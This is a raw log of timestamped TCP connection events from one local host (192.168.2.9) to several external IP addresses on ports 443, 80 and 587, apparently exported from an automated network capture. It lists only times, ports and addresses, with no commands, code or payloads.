Dec 10, 2024 07:05:28.580383062 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.580411911 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.580442905 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.587008953 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.587080002 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.587116957 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.587150097 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.587166071 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.589167118 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.593034029 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.593055964 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.593195915 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.593234062 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.593338966 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.599971056 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.599991083 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.600128889 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.600151062 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.600219965 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.606384993 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.606405973 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.606503010 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.606515884 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.606549978 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.606561899 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.613229036 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.613249063 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.613360882 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.613374949 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.613428116 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.620096922 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.620156050 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.620198965 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.620213032 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.620285988 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.766371965 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.766402960 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.766495943 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.766518116 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.766544104 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.766561985 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.772639036 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.772664070 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.772804976 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.772819042 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.772870064 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.780627012 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.780646086 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.780736923 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.780755997 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.780798912 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.785768986 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.785788059 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.785911083 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.785923004 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.786025047 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.793548107 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.793576002 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.793709040 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.793721914 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.793812990 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.799041033 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.799057007 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.799212933 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.799230099 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.799297094 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.805706978 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.805727005 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.805828094 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.805849075 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.805896997 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.811788082 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.811806917 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.811933994 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.811954021 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.812007904 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.958349943 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.958378077 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.958431005 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.958445072 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.958486080 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.958523989 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.964458942 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.964479923 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.964559078 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.964569092 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.964591026 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.964617014 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.971247911 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.971267939 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.971365929 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.971379042 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.971442938 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.971489906 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.978101015 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.978125095 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.978266001 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.978291988 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.978343964 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.984932899 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.984954119 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.985119104 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.985140085 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.985225916 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.991326094 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.991344929 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.991463900 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.991477966 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.991539955 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.997359037 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.997380972 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.997493982 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:28.997505903 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:28.997591972 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.004353046 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.004370928 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.004477024 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.004487991 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.004545927 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.150129080 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.150151014 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.150268078 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.150278091 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.150345087 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.156992912 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.157025099 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.157108068 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.157119989 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.157193899 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.163748980 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.163770914 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.163844109 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.163852930 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.163871050 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.167243004 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.170671940 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.170691013 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.170805931 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.170818090 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.170937061 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.176693916 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.176712036 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.176879883 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.176891088 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.176959038 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.182096004 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.182133913 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.182184935 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.182267904 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.182328939 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.277949095 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.277972937 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:29.277985096 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:29.277992010 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:34.600315094 CET	49709	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:34.629084110 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:05:34.719619036 CET	80	49709	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:34.719712019 CET	49709	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:34.720594883 CET	49709	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:34.720594883 CET	49709	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:34.748485088 CET	80	49710	158.101.44.242	192.168.2.9
Dec 10, 2024 07:05:34.748563051 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:05:34.749125004 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:05:34.839926958 CET	80	49709	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:34.839940071 CET	80	49709	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:34.868360043 CET	80	49710	158.101.44.242	192.168.2.9
Dec 10, 2024 07:05:35.985436916 CET	80	49710	158.101.44.242	192.168.2.9
Dec 10, 2024 07:05:36.043401957 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:05:36.061935902 CET	80	49709	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:36.062047958 CET	80	49709	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:36.062119007 CET	49709	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:36.084744930 CET	49709	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:36.171304941 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:05:36.204078913 CET	80	49709	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:36.290616989 CET	80	49710	158.101.44.242	192.168.2.9
Dec 10, 2024 07:05:36.547095060 CET	80	49710	158.101.44.242	192.168.2.9
Dec 10, 2024 07:05:36.654150963 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:05:36.763911009 CET	49712	443	192.168.2.9	104.21.67.152
Dec 10, 2024 07:05:36.763958931 CET	443	49712	104.21.67.152	192.168.2.9
Dec 10, 2024 07:05:36.764065981 CET	49712	443	192.168.2.9	104.21.67.152
Dec 10, 2024 07:05:36.767568111 CET	49712	443	192.168.2.9	104.21.67.152
Dec 10, 2024 07:05:36.767587900 CET	443	49712	104.21.67.152	192.168.2.9
Dec 10, 2024 07:05:36.854470968 CET	49713	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:36.973881960 CET	80	49713	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:36.974069118 CET	49713	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:36.974234104 CET	49713	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:36.974292040 CET	49713	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:37.093535900 CET	80	49713	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:37.093558073 CET	80	49713	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:37.983581066 CET	443	49712	104.21.67.152	192.168.2.9
Dec 10, 2024 07:05:37.983702898 CET	49712	443	192.168.2.9	104.21.67.152
Dec 10, 2024 07:05:37.990793943 CET	49712	443	192.168.2.9	104.21.67.152
Dec 10, 2024 07:05:37.990804911 CET	443	49712	104.21.67.152	192.168.2.9
Dec 10, 2024 07:05:37.991168022 CET	443	49712	104.21.67.152	192.168.2.9
Dec 10, 2024 07:05:38.046255112 CET	49712	443	192.168.2.9	104.21.67.152
Dec 10, 2024 07:05:38.095640898 CET	49712	443	192.168.2.9	104.21.67.152
Dec 10, 2024 07:05:38.139333963 CET	443	49712	104.21.67.152	192.168.2.9
Dec 10, 2024 07:05:38.429776907 CET	443	49712	104.21.67.152	192.168.2.9
Dec 10, 2024 07:05:38.429850101 CET	443	49712	104.21.67.152	192.168.2.9
Dec 10, 2024 07:05:38.429924965 CET	49712	443	192.168.2.9	104.21.67.152
Dec 10, 2024 07:05:38.501676083 CET	49712	443	192.168.2.9	104.21.67.152
Dec 10, 2024 07:05:38.952589989 CET	49715	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:39.014857054 CET	80	49713	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:39.014908075 CET	80	49713	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:39.015017986 CET	49713	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:39.015136003 CET	49713	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:39.071923018 CET	80	49715	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:39.072062969 CET	49715	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:39.074668884 CET	49715	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:39.074693918 CET	49715	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:39.134397030 CET	80	49713	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:39.193989038 CET	80	49715	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:39.194005013 CET	80	49715	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:39.534398079 CET	49717	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:39.653887987 CET	80	49717	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:39.654055119 CET	49717	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:39.656440020 CET	49717	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:39.656440020 CET	49717	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:39.776108980 CET	80	49717	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:39.776130915 CET	80	49717	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:40.414022923 CET	80	49715	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:40.414154053 CET	80	49715	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:40.414241076 CET	49715	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:40.421924114 CET	49715	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:40.541280985 CET	80	49715	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:40.681947947 CET	49718	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:40.801214933 CET	80	49718	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:40.801481009 CET	49718	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:40.804321051 CET	49718	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:40.804337978 CET	49718	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:40.924387932 CET	80	49718	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:40.924408913 CET	80	49718	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:40.996707916 CET	80	49717	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:40.997000933 CET	80	49717	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:40.997164965 CET	49717	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:40.999142885 CET	49717	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:41.118360996 CET	80	49717	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:41.698191881 CET	49719	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:41.817720890 CET	80	49719	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:41.817816019 CET	49719	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:41.822365046 CET	49719	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:41.822403908 CET	49719	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:41.941864014 CET	80	49719	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:41.941876888 CET	80	49719	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:42.842129946 CET	80	49718	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:42.842242956 CET	80	49718	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:42.842338085 CET	49718	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:42.842504025 CET	49718	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:42.919414043 CET	80	49719	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:42.919516087 CET	80	49719	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:42.919560909 CET	49719	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:42.919832945 CET	49719	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:42.961779118 CET	80	49718	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:43.038727999 CET	80	49719	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:43.093432903 CET	49720	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:43.212769985 CET	80	49720	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:43.212873936 CET	49720	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:43.213071108 CET	49720	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:43.213103056 CET	49720	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:43.260833979 CET	49721	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:43.332309008 CET	80	49720	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:43.332335949 CET	80	49720	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:43.380168915 CET	80	49721	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:43.380281925 CET	49721	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:43.380510092 CET	49721	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:43.380527020 CET	49721	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:43.499780893 CET	80	49721	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:43.499804974 CET	80	49721	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:44.509558916 CET	80	49721	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:44.551676035 CET	49721	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:44.555583954 CET	80	49720	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:44.555695057 CET	80	49720	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:44.555735111 CET	49720	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:44.555749893 CET	49720	80	192.168.2.9	54.244.188.177
Dec 10, 2024 07:05:44.675081968 CET	80	49720	54.244.188.177	192.168.2.9
Dec 10, 2024 07:05:44.744545937 CET	49722	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:44.759840012 CET	49723	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:44.863823891 CET	80	49722	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:44.863898039 CET	49722	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:44.864082098 CET	49722	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:44.879156113 CET	80	49723	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:44.879236937 CET	49723	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:44.879489899 CET	49723	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:44.879518032 CET	49723	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:44.983325005 CET	80	49722	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:44.998740911 CET	80	49723	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:44.998770952 CET	80	49723	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:45.488719940 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:05:45.608156919 CET	80	49710	158.101.44.242	192.168.2.9
Dec 10, 2024 07:05:45.862093925 CET	80	49710	158.101.44.242	192.168.2.9
Dec 10, 2024 07:05:45.913984060 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:05:45.976599932 CET	80	49723	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:45.976666927 CET	80	49723	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:45.976926088 CET	49723	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:45.976954937 CET	49723	80	192.168.2.9	44.221.84.105
Dec 10, 2024 07:05:46.096204996 CET	80	49723	44.221.84.105	192.168.2.9
Dec 10, 2024 07:05:46.251940966 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.371323109 CET	80	49724	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:46.371443987 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.371730089 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.371751070 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.446824074 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:46.491043091 CET	80	49724	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:46.491072893 CET	80	49724	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:46.554712057 CET	49722	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:46.566169977 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:46.566510916 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:46.575764894 CET	49721	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.576163054 CET	49726	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.695230961 CET	80	49721	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:46.695302963 CET	49721	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.695369959 CET	80	49726	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:46.695432901 CET	49726	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.727335930 CET	49726	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.727360010 CET	49726	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:46.846689939 CET	80	49726	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:46.846703053 CET	80	49726	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:47.499865055 CET	80	49724	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:47.507765055 CET	49727	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:47.554627895 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:47.627088070 CET	80	49727	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:47.627157927 CET	49727	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:47.627351046 CET	49727	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:47.746716976 CET	80	49727	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:47.828200102 CET	80	49726	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:47.830159903 CET	49728	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:47.949868917 CET	80	49728	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:47.949939966 CET	49728	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:47.950114965 CET	49728	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:48.043198109 CET	49726	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:48.069323063 CET	80	49728	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:48.390676022 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:48.390891075 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:48.510524988 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:48.924350023 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:48.925425053 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:49.044635057 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:49.446821928 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:49.460442066 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:49.579735041 CET	587	49725	103.20.200.105	192.168.2.9
